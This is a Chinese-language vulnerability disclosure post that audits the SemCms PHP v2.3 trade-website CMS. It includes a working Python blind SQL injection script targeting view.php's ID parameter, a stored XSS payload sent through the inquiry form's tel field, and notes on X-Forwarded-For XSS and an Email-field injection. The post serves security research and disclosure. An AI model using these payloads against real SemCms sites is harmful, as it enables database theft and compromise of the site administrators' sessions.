前言:由于漏洞重复了,因此提前公布漏洞详情,挖的几个漏洞都是高危漏洞,后台没有看,同时存在一个后台登录的cookie绕过,这里可看前面文章:代码审计之Semcms v2.3。
一、cms简介
SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 、google、360 等主流浏览器。
SemCms【asp版】使用vbscript语言编写,结合iis运行。
SemCms【php版】使用php语言编写,结合apache,在window,或linux系统下运行。
SemCms采用国际通用utf-8编码编写。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
Demo地址:http://php.sem-cms.com
这里测试为semcms外贸网站php版 v2.3
二、漏洞详情
- 多个sql注入漏洞
①id参数
存在漏洞的url:http://127.0.0.1/view.php?ID=31
漏洞成因在Templete/default/Include/Function.php的第9行
$ID=verify_id(@htmlspecialchars($_GET[“ID”]));
if (!isset($ID)){$ID=$ID;}else{$ID==””;}
这里使用了htmlspecialchars函数,但是对于注入来说并不起作用,但是前面又用到了verify_id这个函数,下面跟进这个函数
函数位置为Include/general_function.php的第73行开始
function inject_check($sql_str) { // 防sql入注
return preg_match(‘/select|insert|=|<|update|delete|’|/*|*|../|./|union|into|load_file|outfile/i’, $sql_str);
}
function verify_id($ID) {
if(inject_check($ID)) {
exit(‘Sorry,You do this is wrong!’);
}
return $ID;
}
这里好像都进行了过滤,最后我们来看是如何在数据库中查询ID这个参数的(Include/Function的第551行开始)
function proview($ID,$ziduan,$web_url){
$str2=””;
$query=mysql_query(“select * from sc_products where ID =$ID “);
Panduan(mysql_num_rows($query));
……
}
function Panduan($str){ //判断数据,输出空符
if ($str<1){
echo ‘<p><b>Sorry, no related products!</b></p>’;
}
}
可以看到这里的ID参数不需要单引号进行过滤,因此也就导致了sql语句的绕过!
下面给出脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
import string
import time
payload=[]
for i in string.lowercase:
payload.append(i)
ans=”
for i in range(4):
for str in payload:
url = “http://127.0.0.1/view.php?ID=31”
url+=‘ and if(substr(user(),%d,1) like %s,sleep(1),sleep(0))’ % (i+1,hex(ord(str)))
start_time=time.time()
res = requests.get(url)
if time.time()–start_time>10:
ans+=str
print ans
break
|
下图是脚本测试图:
②Email参数
这里的Email参数是管理员密码忘记时填写的参数,漏洞成因在Include/web_email.php的第16行
if ($Type==”fintpassword”){
if (@htmlspecialchars($_POST[‘Email’]) !==””){ // 判断是否输入邮箱
$sql=”select * from sc_user where user_email='”.$_POST[‘Email’].”‘”;
$result=mysql_query($sql);
……
}}
这里可以看到post提交的Email参数只经过htmlspecialchars函数的过滤,因此出现了sql注入漏洞。
这里借助sqlmap验证:
- xss漏洞
漏洞成因在Include/web_email.php第71行
elseif ($Type==”MSG”){ //询盘发送!
$msg_email=@htmlspecialchars($_POST[‘mail’]);
$msg_content=@htmlspecialchars($_POST[‘tent’]);
$yzm=$_POST[‘yzm’];
$msg_tel=$_POST[‘tel’];
$names=@htmlspecialchars($_POST[‘name’]);
$msg_pid=@htmlspecialchars($_POST[‘PID’]);
$msg_languageID=@htmlspecialchars($_POST[‘languageID’]);
$msg_time=date(“Y-m-d h:i:s”,time()+8*60*60);
$msg_ip=getRealIp();
可以看到这里的tel参数没有经过过滤,并且最后有一个getRealIp函数。
这里首先测试tel参数,来验证存储型xss漏洞是否存在!
下面是post参数,其中tel插入xss语句
name=adog&mail=adog%40qq.com&tel=%3Cscript%3Ealert%28%2Fadog%2F%29%3C%2Fscript%3E&tent=this+is+a+test%7E&yzm=0953&button=Inquiry+now&PID=25&languageID=1
后台登录,查看用户询盘信息,出现弹窗,验证了xss漏洞存在
下面跟进getRealIp参数,来看看有无验证(Include/general_function.php的第53行)
function getRealIp()
{
$ip=false;
if(!empty($_SERVER[“HTTP_CLIENT_IP”])){
$ip = $_SERVER[“HTTP_CLIENT_IP”];
}
if (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
$ips = explode (“, “, $_SERVER[‘HTTP_X_FORWARDED_FOR’]);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi (“^(10│172.16│192.168).”, $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER[‘REMOTE_ADDR’]);
}
可以看到直接从X_FORWARDED_FOR中提取ip,因此导致了一个xss漏洞
后台登录查看询盘信息
验证了存储型xss漏洞的存在
三、影响范围
根据自己挖这个cms的一个经验来看,这个semcms的厂商是不对漏洞进行修补的(不知道这是白帽子的福音还是噩耗),cookie绕过漏洞早在v2.1版本就存在了,因此可以判断这些漏洞在上几个版本也一定存在,只要用心挖,总能挖到的~
上述如有不当之处,敬请指出~
由于换了Mac,因此原来windows下的mysql监控小软件不能再用,只能自己造个轮子,下午抽空写了个监控脚本,代码不是很复杂,供有需要的人阅读参考,也可以根据下面再做定制 环境(Python 2.7) #-*-coding:utf-8-*- import …
请登录后发表评论
注册